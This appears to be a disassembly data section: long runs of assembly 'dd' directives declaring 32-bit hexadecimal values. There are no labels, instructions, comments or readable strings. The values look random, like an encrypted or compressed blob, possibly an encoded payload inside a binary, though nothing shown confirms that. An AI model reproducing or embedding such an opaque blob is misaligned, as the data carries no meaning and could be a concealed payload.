		dd 495E3CF4h, 9BBA3D5Eh, 6B34B023h, 7C4F1E7Dh, 0F4DE731Dh
		dd 0A71862A8h, 0AE0DC90Bh, 0AC3D6FBAh, 0E2347E4Bh, 33353B33h
		dd 0D2686B5Bh, 25DE3D5h, 23BC44BFh, 48911ADCh, 0F479B32Ah
		dd 79222532h, 58ECAE26h, 31DCAC09h, 2062BE2Ah, 9DB1FBBDh
		dd 3D881FBAh, 0D0F36D3Dh, 9937180Dh, 6462AE8Fh,	0AD6106ECh
		dd 1205143Fh, 0F5117DADh, 0E60CA40Fh, 88372A05h, 3C6B3839h
		dd 1B0F8D3Eh, 2E6D2C06h, 113110B0h, 9B144824h, 1819221Ah
		dd 1ADD2D18h, 59D07ABh,	283603F4h, 7F0D0A0Fh, 3D099D0Bh
		dd 1082CA5h, 0AE196527h, 1EFC241Bh, 0C32B2877h,	58202929h
		dd 18C53D2Eh, 893830ADh
		dd 3FDF3536h, 6B3F3436h, 18C4163Fh, 2C214E13h, 0BF2926E8h
		dd 95252673h, 2CCF262Fh, 3C358123h, 0B537991Eh,	3FBD9730h
		dd 0AF3ABA4Fh, 0A25139BBh, 0A59B189Ch, 0A4272527h, 1C677711h
		dd 3AABFA27h, 35F1CBEh,	58B86762h, 6E231235h, 0FC09CC0Ah
		dd 372BEB6h, 1DE79E4Bh,	33922054h, 7CD9EDA7h, 0A0328769h
		dd 1C3A2D51h, 3CFBB4EBh, 373522BAh, 2F3E39ADh, 353501BCh
		dd 222A1C6Eh, 0A3125412h, 40CD7623h, 0A9D6D5AFh, 0AA3D2CEFh
		dd 28B53FEFh, 34353439h, 7E6B7888h, 3EBE3D3Bh, 0DD2FE4F6h
		dd 0B9048B93h, 0D7802323h, 2F9D088h, 0A66C7BD3h, 0BAE9A4D9h
		dd 0C70433C8h, 0F2B39936h, 3FD5FA75h, 97BE3FCDh, 23FE9DD6h
		dd 9ACA2323h, 28242641h, 2D6EC21Dh, 0D8572E1Dh,	30310EB3h
		dd 506F1261h, 9418B80Dh, 1A0B4BD5h, 4C9F094Ah, 0A93FA14Ah
		dd 776AA537h, 0C37E2F28h, 6A3AAC38h, 33BE1230h,	4D48B817h
		dd 1DA51B38h, 3EB8BC06h, 9E9B969Fh, 316121DEh, 27E58F12h
		dd 6FB92262h, 246C4C21h, 683B7444h, 0B73F7045h,	0B93272h
		dd 8E3779E3h, 1C1B1A14h, 2325A71Ch, 3D2DABE2h, 20ACF2D5h
		dd 0C5382ACAh, 74C03B2Ah, 9C70723Ah, 0B5283F73h, 38B41AFDh
		dd 191B0F3Bh, 999351Dh,	0DA077E6h, 2001A635h, 0A223403Dh
		dd 0C0B6207h, 6521625Bh, 12B506DDh, 3E11BE05h, 572A7EB8h
		dd 7F48361Dh, 36667370h, 6F7ECF30h, 3E6E5B3Dh, 0A225473Fh
		dd 0F33D2270h, 7323F835h, 797A791Ch, 63E7D594h,	2E08E300h
		dd 0A12121FFh, 61ACDBDBh, 3F315D32h, 0CD21A8CBh, 3891601Eh
		dd 367EDC23h, 0D3C6C615h, 3C3D3A98h, 4B0C7117h,	610863BEh
		dd 25E4A627h, 66A30552h, 38D37A3Fh, 3090A780h, 33309232h
		dd 223E3564h, 4E2E3D3Bh, 5C00BF05h, 0DD1972F5h,	0BDA37DDEh
		dd 0EDACAA7Eh, 0B6293DA8h, 0B079C610h, 0AE309B3Bh, 0A2323B8Dh
		dd 32A1331Eh, 4467A43Dh, 841F465Ch, 239F3AA1h, 23B77ABFh
		dd 330E6D09h, 922218ACh, 373355B0h, 2748B83Dh, 77D26E68h
		dd 863C7C6Dh, 0A45C91DBh, 825BE078h, 0A35C0B97h, 28687721h
		dd 2E672AAFh, 30B53174h, 0C9CAFB6Ah, 9BE53DF1h,	0F83F003Bh
		dd 7DC8F3Ah, 7118941Ch,	226ECA36h, 0A87F0AA7h, 0AC779E89h
		dd 861DAFB0h, 2B741532h, 0A968F607h, 3D6B18BAh,	196FC9BBh
		dd 0CB0E6090h, 0DB102021h, 4226264Fh, 2D412A3Eh, 7F453C47h
		dd 10B376BCh, 683E5C15h, 0EBB1DD1h, 7FBBD7Dh, 9FD6964Bh
		dd 23026940h, 0DB65CD20h, 7BA44728h, 2D2E2F2Ch,	5B8B6060h
		dd 0B7722745h, 0EB7FCF39h, 2E4A3C3Ch, 0CA58AB14h, 0A22F60F4h
		dd 0FE53041Dh, 2AC20326h, 762746DEh, 6162667Fh,	0CA20CB33h
		dd 6A383AEFh, 8D3FBCD3h, 5895E4C3h, 23131F86h, 604F22F2h
		dd 0A220ACCAh, 60A52B23h, 0D9617FA6h, 36343313h, 594C2724h
		dd 19403BBAh, 106E1102h, 41F5A97h, 50E3A61Ch, 2C091A74h
		dd 4F8B675Dh, 14A3A311h, 54315065h, 0BC5F603Ch,	37395598h
		dd 0CCC07E6Ch, 933A9997h, 0FAE2961h, 27E6AD00h,	0AB4222C8h
		dd 3B7C7828h, 31F0A5BBh, 0E6DBF548h, 0CB90E84Ch, 0E369D11h
		dd 0EE25CC93h, 2321CB6Fh, 56242463h, 762A282Bh,	17D604Bh
		dd 0B2D930EFh, 22D3733h, 4AD10FD7h, 5ECD3E78h, 1D2BE7D9h
		dd 3028271Fh, 1D3460E2h, 96BC73Eh, 0FD290312h, 0A9801F33h
		dd 6AC2DB62h, 29ABA997h, 0B2B4383Ah, 8A91A19Eh,	59F0F89h
		dd 0E4B4AAEEh, 7BCACE85h, 612FEA08h, 32DAC61Fh,	984D7C23h
		dd 3ED7C0DDh, 3D2C1C38h, 1F1FA31Bh, 17B60D78h, 80E2A406h
		dd 537EA52Bh, 0D0A2222h, 0A43E0D73h, 15954832h,	587A347Bh
		dd 4E6E5257h, 496F9D4Ch, 0F87A25DBh, 0C0628C32h, 7274E030h
		dd 8A4C4348h, 4EEC30A7h, 475B54F7h, 37D74040h, 0BA043E71h
		dd 3B9F8DA3h, 189F545Ch, 4F65D65Fh, 0A1495696h,	316B5437h
		dd 8CF2202Ah, 0DB0BED14h, 4A084109h, 8304AD0Ah,	1E00EE06h
		dd 48267C03h, 3222F120h, 0B81D6D1Fh, 0F5198A1Bh, 3015C017h
		dd 68100612h, 0BF0C4E0Eh, 0F308930Ah, 0CD04E006h, 0BB3E3E02h
		dd 6B1F1D1Eh, 13202220h, 17F51597h, 1A5319CCh, 222D0C2Ah
		dd 1B9350A2h, 771F3565h, 0DB6D312Ch, 67CE09A1h,	211DA523h
		dd 2299231Fh, 2659A927h, 0C0E81403h, 2186DF29h,	0F38DB46Bh
		dd 7A11A856h, 0BE6C36F7h, 246C11B0h, 5D38A7B2h,	0E189790Fh
		dd 0A72BA835h, 35393745h, 7D3C4A54h, 9690C77Ch,	0AD663DD1h
		dd 7DB537D7h, 5CDCBD1Ah, 0F4936F31h, 5FFA81CCh,	0A65FCA31h
		dd 0C0EABE21h, 2C3AE84Ah, 51B9A43Ch, 66624623h,	0D88827F1h
		dd 0DCB09A3Ah, 0FAE40E33h, 96187F98h, 12020B20h, 42A3C50Ch
		dd 8A223C29h, 7F018CACh, 1F372958h, 1E85B5E3h, 6B68B9B0h
		dd 3D0D1138h, 48F40437h, 0A20A212Dh, 35A48A30h,	0A03AA8A9h
		dd 0F6CBA65h, 22700B6Fh, 7CB16662h, 0C7DD98E2h,	0BC3AD5C4h
		dd 3D9E2D1Fh, 2AE09F88h, 0E5B70363h, 69FA1766h,	6DDC2C80h
		dd 1171393Ch, 37B47221h, 2A1C1D27h, 1F8C7B7Bh, 91398F07h
		dd 701B7653h, 1E623670h, 693332B5h, 6D390B15h, 0CFD39593h
		dd 5E3836D0h, 3CF32137h, 560F1E6Dh, 0F30B6C3Ah,	3F1ABF29h
		dd 4F422584h, 30E611CCh, 30E7510h, 0EF195927h, 1B325250h
		dd 65A46438h, 18D22AF9h, 50BA2C3Dh, 1A050D12h, 6BE048F7h
		dd 62D2036Bh, 6BD64AD8h, 0B4C57A7Bh, 103064EFh,	0A6DDB076h
		dd 7EB23A76h, 3DBC4B1Fh, 32F4232Fh, 15579D57h, 0DE43827h
		dd 59D7FFA5h, 311F727Eh, 184063A3h, 7599DB27h, 69349732h
		dd 0B73C393Fh, 26D1B529h, 98BD6B0Dh, 0EDA73E21h, 7FAD3251h
		dd 0E6A12A28h, 452E7E17h, 0F333B13Fh, 3AF7B537h, 3C4EF3BDh
		dd 0F0FF0DDDh, 9CDE0619h, 0A8272154h, 0D1CD2176h, 0A22A38A1h
		dd 6CE82966h, 3B5330CDh, 763A94F7h, 0B0267935h,	0B6363D64h
		dd 1F1D9705h, 2A216094h, 0E52162AAh, 2A45A347h,	6BA6040Fh
		dd 3765BB13h, 0DC344C33h, 0B12172BCh, 3F1D3C61h, 5424F8D4h
		dd 0AFAA69DEh, 0ACA250A0h, 6B78AD55h, 6E0C03ADh, 5110C73Eh
		dd 63BF3336h, 697EBC62h, 657C75B1h, 974A6F6Ch, 1C3D5ED2h
		dd 0CC272231h, 78242691h, 2C4ABBC1h, 0D2AEB785h, 0B405D2CEh
		dd 0FA373514h, 0C4FAF5B2h, 99C8A737h, 0DB139D1Dh, 0AEDAAA04h
		dd 0A70F4C6Ah, 0AB2B7D12h, 57AEE121h, 0FC3ABA60h, 36F6F1DCh
		dd 3BAEAFB2h, 0B56E3E3Ch, 1D1D8F9Dh, 9B71004Dh,	0A6C4B8E6h
		dd 2BEBD83Dh, 0A731A1E9h, 0DA651473h, 0F7F622C2h, 767F38BBh
		dd 606279F9h, 4C1F1B7Bh, 0A1A9794Eh, 0AB06C0B0h, 0DBCB64Fh
		dd 8C28CBEEh, 0FB336FA7h, 0E1BDF260h, 0F95048F6h, 0B4F411FBh
		dd 0CC3FABEEh, 0EC1BDC18h, 28422180h, 200774CFh, 40B2899Dh
		dd 340F2FEDh, 65C73DF0h, 10BB5267h, 0F3B7199h, 187FF819h
		dd 1EA33928h, 436F9109h, 37C4E0CCh, 0CBEC0D08h,	0B0FB82Ah
		dd 91161020h, 91D63114h, 33801D08h, 5DBA1918h, 3C392351h
		dd 3481073Bh, 2F192116h, 4B6229C7h, 5E67D825h, 17A1F57Fh
		dd 5E6B14D6h, 38590153h, 313F3CDAh, 1E1C95BAh, 30E41DA3h
		dd 0A670C823h, 215D2DDEh, 0EFEC962Dh, 0C9B3112Eh, 1412368h
		dd 39FA8B8Bh, 0B5C4B808h, 0CA334A3Bh, 94A21919h, 3F812343h
		dd 952022D4h, 232BE899h, 8DAB2AFDh, 40339399h, 49938B30h
		dd 29FB0807h, 0A3384BA5h, 645E3EBCh, 30474B22h,	0CC526D24h
		dd 633B5D60h, 0BD3CDF59h, 0A7E9DA36h, 0E83E3432h, 6E3A363Eh
		dd 0FD7932F3h, 11D85D14h
		dd 162EE5FBh, 6E2AEE72h, 2D4B3353h, 52A4E32h, 3C34D2D1h
		dd 31FA2C83h, 26DAAB7Ch, 67E47229h, 910819BFh, 2E0C1F5Eh
		dd 675771C1h, 16BA62B3h, 0C792A2Ah, 47B2A428h, 148AF1C4h
		dd 1C4434A4h, 2F9B7CE8h, 8D1E0D54h, 0BC0C31Fh, 0A1B25183h
		dd 0D64054D6h, 0E128948h, 62244FE6h, 8B219D2Eh,	0B82B1231h
		dd 6165653Eh, 403F3F8Dh, 1F139478h, 0F1E6A024h,	0E42E253Ch
		dd 0E72A2EB8h, 2F112D53h, 0B3320933h, 0BC603D62h, 3B321D4Ch
		dd 3F546B6Ch, 0E208E31Ah, 0A323F80Bh, 27A5DC5Ah, 2977EEACh
		dd 2220666Bh, 63DDBB7Ah, 0C636146Fh, 4CF8B2h, 3F7D3E7Ah
		dd 196C1DCFh, 22AE6092h, 2625202Ah, 29D949CEh, 0A4259963h
		dd 0D9320D9Ah, 0DC3CF3D7h, 1936E772h, 0B3D3B32h, 0B49F3A0Fh
		dd 321D2A39h, 27A37252h, 609419h, 2D794241h, 369BE6A5h
		dd 0B63B30B3h, 0E19DE637h, 0BEF738B8h, 19BDF63Fh, 0B51C9FD8h
		dd 9F20A3E0h, 0A59E27A6h, 29A89D2Ah, 2DAC9D7Eh,	31B3EDD8h
		dd 0C851B590h, 0B9921C6Ch, 3DBC913Eh, 0AA1F9EABh, 9A23A24Ah
		dd 0A49926A1h, 28ABE825h, 2CAF79EFh, 7266AA7Ch,	153502B8h
		dd 507D15B7h, 0F025B9FBh, 385C81D7h, 56C1A1Bh, 254E210Eh
		dd 0ADEFE9AFh, 252C9F0Eh, 0B94CC729h, 21106734h, 6B3B175Ch
		dd 0BCFAF5B1h, 0D81A3C38h, 26D77FF5h, 0E4570665h, 0B9342660h
		dd 0C4292D2Ah, 347AED74h, 3CF48A37h, 453FFE98h,	69AF32F0h
		dd 9CB636FAh, 1AD6631Eh, 4627E86Eh, 7D224271h, 42002D40h
		dd 2B496C28h, 375A6406h, 2A325C32h, 7C283D5Fh, 0F7773A3Dh
		dd 0FCA5CB1Eh, 83301849h, 0A6BA950Ah, 35AABE26h, 0AFDD3A0Bh
		dd 0F28D7201h, 5C1D7219h, 2A42983Bh, 0F628C323h, 43F0E1Eh
		dd 70809B11h, 1682062h,	903473Ah, 2D30466Bh, 2B9C2ABh
		dd 0BC3078BBh, 4D3064B6h, 3D79B015h, 681BBF7Eh,	28679535h
		dd 0AC2F62AAh, 290760ACh, 28282AB7h, 0C82FADC7h, 643446CEh
		dd 38BF23CAh, 0B73A38E5h, 67C3D6F3h, 41E1E07Ch,	232AB1E3h
		dd 374C1A29h, 900141D7h, 8E4A152Ch, 63363130h, 3713BC50h
		dd 6C9A683Ch, 0B8F9C4B7h, 1EE24E1Bh, 0A5AA201Fh, 0AC2624BAh
		dd 0C24066AAh, 7EA2AC32h, 0D1BE18A2h, 3B3AB431h, 0B4B33DB7h
		dd 3D3DAFBBh, 899A916Fh, 70221D9Eh, 0E11D6AA6h,	0B8C1D8D9h
		dd 2F2C22AAh, 3C5BA0A3h, 0C01020B2h, 0CE1BB4FCh, 321FBAFFh
		dd 1C6D3DBBh, 481E7429h, 25152321h, 0EB033AA0h,	2C3414F6h
		dd 30B750A6h, 1F332332h, 0B9398F62h, 1847B782h,	5FF9533Dh
		dd 1E1E7138h, 458921D3h, 4FD0168Fh, 288E29D7h, 0B686D7Ah
		dd 2830919Ah, 59302034h, 39BB7E19h, 1B1A79B4h, 0B6423EF3h
		dd 72C90D1Eh, 471C3A1Bh, 0CA10E61Eh, 7B17C712h,	890AB814h
		dd 800EDA08h, 7004C30Ah, 0F4036805h, 1C22F601h,	1F0721h
		dd 791B6F1Dh, 99175219h, 2D13F315h, 31327F2Dh, 3634AF33h
		dd 9540769h, 0DB60B42h,	2CB60F9Fh, 10F42EDBh, 0ECA8740Dh
		dd 68376610h, 0C560789h, 603D2ECBh, 5C8AE260h, 2C377244h
		dd 7C2C5B22h, 18FF0B85h, 800A3F20h, 29211DC0h, 202E4F21h
		dd 22EE6642h, 450A0978h, 0DB603260h, 1F3FF726h,	3E3B30FCh
		dd 0DF1032DCh, 58904C12h, 7CA8005Fh, 0B6FFCC1Fh, 6B21ECDFh
		dd 79317D4Bh, 1295F3C7h, 22E56223h, 0E8ECC765h,	3AEA343Fh
		dd 319C332Fh, 7F109641h, 21A49B7Fh, 56293539h, 222C240Dh
		dd 6830292Eh, 54F8318Bh, 31D4B436h, 3D6A6E69h, 3867B469h
		dd 0A1727A1Dh, 6D24E721h, 7B574B46h, 697926E9h,	342F1DADh
		dd 55703390h, 59B77EF3h, 59575E57h, 193D3B3Dh, 6B835D0Dh
		dd 8B026745h, 0B76F2324h, 57A646Bh, 2B2E22ACh, 4012A210h
		dd 35365B4Dh, 4F5B32D9h, 5C5F491Ch, 0E12E0400h,	3ADE4A4Fh
		dd 86727372h, 0A13EA809h, 6F3E801Eh, 0BFD010BDh, 643C16B7h
		dd 0EC7BC767h, 0AAB0F6FAh, 1CDC2F1Bh, 0DE729F4Fh, 190A8F4h
		dd 2A206752h, 294FE6CBh, 0AC044779h, 0B7353230h, 47B16136h
		dd 2D42B23Eh, 96F6D4E9h, 0A01EB29Bh, 74366C88h,	5AE09F74h
		dd 0C4AF6A20h, 0BD532E37h, 348ADE64h, 38D59CDEh, 49B26838h
		dd 0FFD7D22Dh, 52889D3Fh, 7D2A7ED4h, 59A4E517h,	76CFA273h
		dd 696EE2Ch, 323270DEh,	48F732F7h, 1557393Fh, 0B6311C15h
		dd 485B2C15h, 2E6A2310h, 0D9DA7545h, 257C9C20h,	442F2C29h
		dd 7C81D82Bh, 0B3393622h, 37184CF7h, 22CB733h, 52530BB6h
		dd 28DB1F1Eh, 0DA4E22DDh, 0A5504F36h, 8CA96B69h, 61202B2Eh
		dd 5511BA56h, 6F20DB48h, 0FA760F32h, 1CE4373Dh,	0A084F61Dh
		dd 0EF2DCB28h, 0DC2699A5h, 0B8A61FE9h, 312F4209h, 345B3031h
		dd 2C372634h, 1A3B683Bh, 900A7EADh, 0F23E98F4h,	0DEA3795Eh
		dd 2F5B2026h, 7AEEF28h,	2C2E2C44h, 73CD3303h, 335CFF31h
		dd 3F36F940h, 3AFEFED4h, 9E39B090h, 7222601Fh, 92CDE9A8h
		dd 227E2166h, 0AF6539D4h, 0FB02C00Dh, 43C47408h, 0AA2CC752h
		dd 7E004DBBh, 1F1C1F0Eh, 0F6E1236Bh, 0CECC4777h, 651D0627h
		dd 32D222Ah, 0B167A9F8h, 6631F3EDh, 55A2FF7Eh, 0FD46F378h
		dd 0F3D34D1Ah, 24D7569Ch, 0EC78E87Ch, 0D55EFFCCh, 1AF32BD6h
		dd 380FC2ACh, 0A4BE3031h, 6B341271h, 0AC0E97B9h, 0F23F41BCh
		dd 1E1E774Bh, 27A9204Ah, 6DE784A9h, 0D3A9FFD7h,	37537D2Dh
		dd 3072A4BBh, 3E427938h, 3FD2F1B3h, 34FEFCBCh, 1F1D74F3h
		dd 64612329h, 4C3D41E3h, 36AAEE26h, 2F20AC0Ah, 0B2FFBB7Fh
		dd 67CA6C63h, 0A7B03837h, 152DFCAAh, 354C56BFh,	611B5293h
		dd 0B4657327h, 0AB3DE40Ch, 2EEC3F7Bh, 0D9396E62h, 3F143138h
		dd 0BA321794h, 176C5BFCh, 5C111B68h, 603143Eh, 0AF0CE62Bh
		dd 4D874645h, 0AF744877h, 6F2712E9h, 3B6CADBEh,	33373935h
		dd 6B6D6939h, 5BAE62DDh, 61419009h, 0CCCA3520h,	0C62B1934h
		dd 26BA2B6Dh, 4715AF9Ch, 800BAF9h, 3868F5F2h, 0FAB0F8ACh
		dd 35211453h, 0E1115B08h, 3225041Eh, 0ECCD7415h, 8B0A5838h
		dd 310D4316h, 367AC12Ch, 0DE4D6563h, 390AA32Bh,	2E727CD0h
		dd 129519DEh, 0CBF1AB9h, 2F19317Dh, 2B55E7A3h, 7DEC18EAh
		dd 0FD32ADE6h, 0B7E431B0h, 0BB6DE334h, 3FBEE338h, 0FC19BDE2h
		dd 75FB1C9Fh, 0A6CB20A3h, 2AA5CA27h, 0D829A8D9h, 0C82DAC20h
		dd 9DB230B3h, 393713CAh, 3870386Ch, 99373CBFh, 1E5C111Eh
		dd 24A07480h, 0BF2767B8h, 69BE286Ah, 0B72BD329h, 0D16233C1h
		dd 35DD6636h, 43383DEDh, 3DBE3F3Dh, 1C122F19h, 2394301Eh
		dd 24279421h, 2A2B2734h, 220A1429h, 30801DE5h, 0DE3786D3h
		dd 3E30F789h, 3935EE38h, 2B7AE63Ch, 2183ED11h, 0C1862C11h
		dd 319027E6h, 0A629AB9Fh, 0F1600BA2h, 6B6B3331h, 3935BE52h
		dd 0BC98603Eh, 0DF187EFAh, 0EC1F1D8Dh, 1BDC221Eh, 37271925h
		dd 332B3529h, 2F2F312Dh, 0CB332D31h, 3828362Ah,	3C243A26h
		dd 1B203E22h, 1F011D03h, 3C223EDFh, 38263A24h, 0EBAF2CC8h
		dd 2C697959h, 37F22DE2h, 3475315Eh, 48397902h, 427E2C0Eh
		dd 4E89389Fh, 0C8C9221Ch, 0A323144Ah, 322E48E7h, 2A982EBBh
		dd 76A5B020h, 0B5DD2717h, 717B5839h, 708D3CBBh,	685CEB2Ch
		dd 325EDF1Ah, 0A52E2269h, 454277Ah, 17500456h, 4D300D52h
		dd 49173372h, 391D3436h, 183E3B49h, 6F3E1F4Dh, 2015131Dh
		dd 27230224h, 470A2605h, 49452B29h, 432F0E59h, 51415359h
		dd 38535715h, 18555354h, 7E5B111Dh, 6B7B711Ch, 5A0D0145h
		dd 0B3CE313Fh, 34AEEC7Dh
		dd 47352D48h, 630735F8h, 0E3E2DD24h, 0BB2240BAh, 0BD2F2927h
		dd 98F50862h, 0CA2D399Ch, 3FA6B501h, 0AB18C033h, 0AD138C32h
		dd 0DA29B836h, 722CB592h, 21B92813h, 713F3019h,	984FF323h
		dd 84E4F02Dh, 0F8CC1A23h, 56EC26C4h, 152DC824h,	30D0E2C6h
		dd 2243213h, 0B969B9BBh, 0A24FD338h, 3F18DE7Bh,	0C8291DF9h
		dd 0D122C042h, 29C42B87h, 0CE78C21Ch, 31CBE92Ch, 77DB0619h
		dd 0DCAE37D7h, 0B6D30938h, 703EDC0Eh, 0F72C1CF8h, 0E722F2EAh
		dd 72EA53Ch, 2B2DE87Ah,	2F66EF15h, 30CD592Ch, 0F70FF534h
		dd 2B0A0D30h, 0BF66513Dh, 95029C0Ah, 726529E7h,	7E47674h
		dd 7A010C63h, 8F0E2E2Ah, 0B7CECD40h, 227540CCh,	4EC6C7B4h
		dd 0E38BC34h, 0F54A4B1Fh, 7537AE13h, 2DF4E942h,	0C1D71474h
		dd 295CA990h, 100C2FA5h, 0BC6482F4h, 0D1B49AA6h, 0DC3B3B3Fh
		dd 92F32B84h, 505E3E1Dh, 9A858ABh, 89A5FEF5h, 0C46CF239h
		dd 602B9E8Eh, 35936719h, 0AA353476h, 296B3B38h,	4C6DF5B6h
		dd 1C1EF91Ch, 0C3F0AA83h, 0FAD6724h, 0FBB1A7A5h, 2EFFEF16h
		dd 0A7E7637Eh, 37E480BFh, 9E78BF31h, 7DB1B693h,	111D13E4h
		dd 2D212F1Fh, 29252B23h, 25292727h, 2E22532Bh, 323E3020h
		dd 363A343Ch, 6BBD3838h, 0B19B7AF7h, 9D1D2CD3h,	0ABE7940Bh
		dd 1FEEA932h, 355D3126h, 3958E2AEh, 30602BA4h, 34623532h
		dd 39BB3943h, 0FBBF39FAh, 69D2BB3Ch, 0E02CFE1Dh, 0E43827CAh
		dd 0D7FFA6A6h, 0A824EAACh, 143F2EB8h, 3A1DD28Fh, 6373F40h
		dd 6431D338h, 1BDC0064h, 6FD31E6h, 0FC22F110h, 88608A7Dh
		dd 5C6C866Eh, 76F16B83h, 0D37568E8h, 336FE312h,	0D3F63A68h
		dd 9F85DB4h, 0C1348F5Ch, 0FD78FF46h, 2C7A2E7Ch,	20762278h
		dd 9E8475F2h, 368E602h,	0DE316537h, 0FC6208DDh,	1B3F28CBh
		dd 77191B6Dh, 4B037503h, 30343C20h, 7B514D76h, 0DC2D90C2h
		dd 0BA04EB3Dh, 5C6ABECAh, 3D28F19Ch, 0F83A4B3Bh, 3C4B217Eh
		dd 9074209Ch, 4B21035h,	0EC66A4A4h, 102C3A9h, 0C10B293Fh
		dd 1E33D333h, 85DF8606h, 0CC1C8AB0h, 182FFE3Dh,	0EB2B75Eh
		dd 0BDAF2AB0h, 0AC17F479h, 668EC1E3h, 682ACCA1h, 71BDC01Eh
		dd 1E223586h, 0D93F9925h, 50B0689Dh, 1EBD4905h,	0A71A6226h
		dd 4732631h, 1CA33B30h,	0F1B3E1Ah, 1D93BE7Dh, 201F3542h
		dd 8F01383Eh, 63D2D12h,	1C5C3357h, 0C949513Ch, 2B248420h
		dd 29BCA9ACh, 0BB2CA129h, 61332FBDh, 355C6163h,	39D9ABF3h
		dd 103FD33Bh, 4423E3Bh,	6CE471Bh, 2493DDDFh, 28ECCF24h
		dd 4C64A72Ah, 31AFC6A9h, 0DCF8B94Ch, 0B33543CAh, 0D46DC4A9h
		dd 92384E6Ah, 0C42E9C24h, 226727F0h, 762F653Ch,	2D1B113Ah
		dd 10330029h, 25F11522h, 36C0241Bh, 3432F9BBh, 0AE38BAD3h
		dd 30628C34h, 3AC970EEh, 0AB92Dh, 29292B28h, 0A529087Fh
		dd 167312Fh, 9A342566h,	7A8D3923h, 3F3C0109h, 1C184EABh
		dd 0D223E92h, 3478206Bh, 607D3C27h, 2C3D5F29h, 0BD313E24h
		dd 90B03226h, 0E9C13356h, 39B45343h, 1D1BDB3Fh,	211EF6B7h
		dd 0B82226A1h, 29F02725h, 28478028h, 346E022Ch,	34597D5Bh
		dd 52385C26h, 186FB73Dh, 1F55167Dh, 1D62F54Eh, 276309BAh
		dd 242624BEh, 0B72AB1C0h, 69A3FD7Ch, 0AF366102h, 31AA3502h
		dd 8C84FDAEh, 5530AB3Fh, 1B5A1C02h, 236D8254h, 17CD7568h
		dd 2A2B632Dh, 2F606E60h, 8EB2342Fh, 43373302h, 3ABDB200h
		dd 3D3DB01Fh, 3168DBBBh, 0B1A7AF5Dh, 1B0AE22h, 7826A72Ah
		dd 0B5447EA2h, 24CF0FBCh, 30B3B3C2h, 0BB94B2B7h, 0B638D03Bh
		dd 108D1B52h, 320F3F2Ch, 31BCC211h, 8D82539Dh, 7C79B7A9h
		dd 70FF05A5h, 6150671Bh, 481D5C2Dh, 548313DFh, 0F36A3614h
		dd 377E4534h, 9B05C1A8h, 1772762Ah, 0AF164114h,	72F5ACCh
		dd 0FF6A0D80h, 64B4E108h, 0BD321139h, 0B77B6D6Fh, 4C95BC3Ch
		dd 422D1DEFh, 868218BEh, 290FE1BBh, 0CF3A8C93h,	36DE7D2Bh
		dd 0DBE3373Fh, 393B4327h, 233E3EEBh, 25BB1830h,	2BD221B0h
		dd 255013B2h, 0F285308h, 330E275Eh, 3030235Fh, 0E330B22Ah
		dd 0B1475E84h, 0AC8DB272h, 0BE076E62h, 82B6EE1Dh, 84A98E21h
		dd 2970C325h, 242AED68h, 37FDAC25h, 0B23BF2B2h,	0B630F83Dh
		dd 0EF3473F8h, 0F3677F32h, 2A5E8EBFh, 0AD7CE72Ch, 732A2BB6h
		dd 2BA12D0Ch, 0E61D7B2Dh, 0F50903BBh, 0A3396BF4h, 0F0FBB3F9h
		dd 7F323030h, 494B4F4Ah, 4A61D994h, 4B25672Fh, 0C33922A5h
		dd 1CA91A61h, 223AF101h, 0D03EF530h, 4FA8F29Dh,	6E353D35h
		dd 0FDA133Dh, 55CE5B16h, 0CCF817E3h, 9129E7C0h,	272EAB70h
		dd 303A29B0h, 3D36FD0Fh, 0FFD1E332h, 3F84333Bh,	141D4136h
		dd 8B0977D9h, 4DE724E1h, 2714F616h, 18891E29h, 4C91A8Ah
		dd 0A0732DAh, 3902DE00h, 0A3B180Fh, 2DDF0874h, 1F7C2A38h
		dd 92154617h, 0F311EA13h, 13391E28h, 17431516h,	0A70A319Bh
		dd 0DE0FE20Dh, 13A0201h, 591076Ah, 1E94275Eh, 0A71A9224h
		dd 3235CF00h, 6B2BD7A4h, 0C535522Ah, 0CDB2392Fh, 0D244130h
		dd 134402F4h, 6BDDA52Ch, 22F926DEh, 0C383FD62h,	246C6723h
		dd 28CB4CCEh, 0C52DC902h, 0F26AC72Ah, 60547333h, 50DA34F6h
		dd 3F7C7D38h, 471A8F61h, 909D1CF6h, 383FE220h, 0DB25CFE4h
		dd 0E62BA182h, 0D1AC3647h, 2599C132h, 0B3CA30F5h, 993FFBF8h
		dd 5A3AF6B6h, 13DAB918h, 232498F0h, 2BE66027h, 6F2129D2h
		dd 2C6F1508h, 0F2DA278Eh, 923275AAh, 0B80A86F8h, 0B7363DF8h
		dd 72953417h, 3AC222DFh, 1E8B3582h, 1888CAB2h, 4FD55309h
		dd 534E0F2Eh, 77AF7E32h, 67588D1Bh, 591F78FBh, 1E7DB2B5h
		dd 23204C28h, 79AA0143h, 7E7A38A4h, 0C8AE3028h,	733D2B6Fh
		dd 42A61B96h, 9CBB3517h, 43223A5Bh, 7C3DFB1Fh, 47401F1Dh
		dd 619C2024h, 0E8152632h, 0ABB67C5h, 2EAFBD29h,	3CB9A811h
		dd 36BF36B5h, 953B2179h, 92C0C1A2h, 7D9195Ah, 4222966h
		dd 662E33E0h, 7B227F2Ch, 0E48E75C4h, 47B939BBh,	573A11A0h
		dd 335A6883h, 3D3E9276h, 118FBD52h, 2270C4C3h, 574D76D4h
		dd 7B4C7A26h, 736FF12Bh, 1FE39587h, 38083660h, 53398912h
		dd 0A6FBBBAh, 19638CCDh, 0E02A1E7Fh, 0F78D567Ch, 78BE976Bh
		dd 444EC02Ah, 6372FD58h, 39737103h, 2E3866B3h, 0F7DE5508h
		dd 1DF9EDD6h, 21FC17A6h, 0E6CB3600h, 0CC5527C7h, 9EC30A28h
		dd 192ECC68h, 0DC2C33D5h, 0D837C497h, 3CC8329Bh, 0E9ADD623h
		dd 1FEA8A1Ch, 0A1CA3C38h, 27B725D4h, 79A4A434h,	0C72F6D62h
		dd 3633C342h, 132D34C0h, 3BC85BD0h, 3F3FBD9Ah, 0C2754919h
		dd 8417645Ah, 6E1BE4DCh, 6E7B790Bh, 4BEC771Dh, 1E156CA7h
		dd 0BDB80373h, 38123AA5h, 6E37BCEFh, 0F56255B2h, 33A004F8h
		dd 0A51B0AE3h, 0AD5C2234h, 6D2DAB0Eh, 6131452Dh, 0EE07FDB9h
		dd 79BEDF9Ah, 3EFC6B23h, 0DF1FD70Ah, 0B3BE5645h, 0B6CB2C20h
		dd 2B3B0D6Bh, 2B093608h, 0D83F2DE5h, 2830F61Fh,	88F080DDh
		dd 6938F319h, 128D3DFDh, 17168DE5h, 634DA11Dh, 4F285020h
